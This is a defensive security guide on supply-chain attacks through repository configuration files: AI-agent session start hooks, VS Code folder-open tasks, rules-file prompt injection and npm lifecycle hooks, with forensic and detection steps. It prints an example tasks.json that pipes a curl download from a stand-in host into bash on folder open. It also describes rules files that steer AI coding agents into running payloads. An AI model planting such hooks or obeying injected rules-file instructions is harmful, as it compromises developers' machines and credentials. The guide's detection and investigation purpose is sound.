Supply Chain Surfaces

Why it matters

Developers trust that cloning a repository and opening it in their tools is safe. Weaponized configuration files break that assumption by embedding payloads in files that AI agents and IDEs load or execute during startup. Once a developer clones and opens the repository in a vulnerable or permissive tool configuration, execution can be automatic.

Evidence to look for

• Unexpected configuration files in a repository (.claude/, .gemini/, .cursor/, .vscode/)
• Session start hooks that reference external URLs or encoded payloads
• Auto-run tasks configured with runOn: folderOpen
• Rules files containing instructions to execute shell commands
• Large binary blobs or encoded strings in configuration files
• Configuration files added in commits by unfamiliar or compromised contributor accounts
• npm test scripts or postinstall hooks that download and execute external content

Common pitfalls

• Assuming configuration directories are benign because they are hidden or dot-prefixed
• Reviewing only package dependencies while ignoring repository-level config files
• Treating AI agent settings as purely cosmetic rather than executable
• Missing that the same payload can be distributed across multiple tool-specific config files
• Assuming the attack requires a package registry — source repository poisoning works without one

Weaponized repository configuration

A weaponized repository contains configuration files that trigger automatic code execution across multiple developer tools simultaneously. The attacker plants files targeting popular AI coding agents and IDEs in a single commit, maximizing the chance that a developer will detonate the payload when opening the repository with an affected toolchain.

Session start hooks

AI coding agents like Claude Code and Gemini CLI support session start hooks — configuration that runs automatically whenever a new session begins in a project directory. An attacker can embed a hook that downloads and executes a payload the moment a developer opens the repository in their agent.

IDE auto-run tasks

Visual Studio Code supports tasks that can run when a folder is opened, using the runOn: folderOpen option in .vscode/tasks.json. Depending on user settings and prompts, an attacker can embed a task that executes a payload during the folder-open flow.

                          {
  "version": "2.0.0",
  "tasks": [
    {
      "label": "setup",
      "type": "shell",
      "command": "curl -fsSL https://example.com/payload.sh | bash",
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}
                        

Prompt injection via rules files

AI coding agents that use rules files or project instructions can be targeted through prompt injection. An attacker embeds a rules file that instructs the agent to execute a payload, treating it as a project setup requirement. The agent reads the file as part of its normal initialization and may follow the injected instructions.

Package manager hooks

Package managers support scripts and lifecycle hooks (test, preinstall, postinstall, prepare). Some run automatically during install; others run when a developer invokes a standard command such as npm test. An attacker can wire those scripts to download and run a payload.

The trust model failure

These attacks succeed because they exploit legitimate features of developer tools. Session start hooks, auto-run tasks, rules files, and lifecycle hooks are all designed to improve developer experience. The tools load or execute these configurations by design, not by accident. From the tool's perspective, loading project configuration is normal behavior — it may not distinguish between a legitimate setup script and a weaponized one.

• The configuration files use valid formats and expected directory locations
• No vulnerability in the tool is required — the tool behaves as designed
• The attack is indistinguishable from legitimate project configuration
• Developers may not think to inspect .claude/, .gemini/, .cursor/, or .vscode/ before opening a project
• Standard code review may not flag configuration files as executable content

Forensic investigation

When investigating a suspected weaponized repository, follow these steps:

• Preserve the repository state. Do not open it in any AI tool or IDE. Use forensic copy tools to capture the repository as-is.
• Identify all configuration directories. Check for .claude/, .gemini/, .cursor/, .vscode/, and any unexpected dot-directories.
• Examine session start hooks. Read .claude/settings.json and .gemini/settings.json for hook definitions that reference external URLs, encoded payloads, or shell commands.
• Examine auto-run tasks. Read .vscode/tasks.json for tasks with runOn: folderOpen that execute shell commands or download content.
• Examine rules files. Read .cursor/rules/ for instructions that direct the agent to execute shell commands, download files, or access credentials.
• Examine package manager hooks. Check package.json scripts (test, postinstall, prepare, preinstall) for commands that download or execute external content.
• Check git history. Identify which commit introduced the weaponized files, who authored it, and whether the author is a known contributor or a compromised account.
• Correlate with agent session records. If a developer opened the repository, check their agent session stores for evidence of payload execution, network egress, or credential access following session start.
• Check for multi-tool coverage. Attackers typically plant configuration files for multiple tools simultaneously. Finding one weaponized config file should trigger inspection of all others.

Detection considerations

Weaponized repository configuration files span multiple detection categories. The configuration files themselves are static artifacts that can be scanned without observing runtime behavior. The behavior they trigger maps to existing detection categories:

• supply_chain: The attack is a supply chain technique — the repository itself is the delivery mechanism. Detection rules in the supply_chain category target package publishing today; source-repository poisoning fits the same conceptual category even when no package is published.
• execution: The payload ultimately executes shell commands (curl piped to bash, encoded decoders, script runners). Execution category rules fire on the command patterns regardless of how they were triggered.
• download: Payloads that fetch external content (curl, wget, fetch) match download category rules.
• credential_harvesting: If the payload targets credential files, existing credential_harvesting rules apply.
• Chain modifiers: When credential harvesting is followed by supply chain activity (e.g., publishing a compromised package), the chain.credential_then_publish modifier increases severity. When download is followed by execution, chain.download_then_execute fires.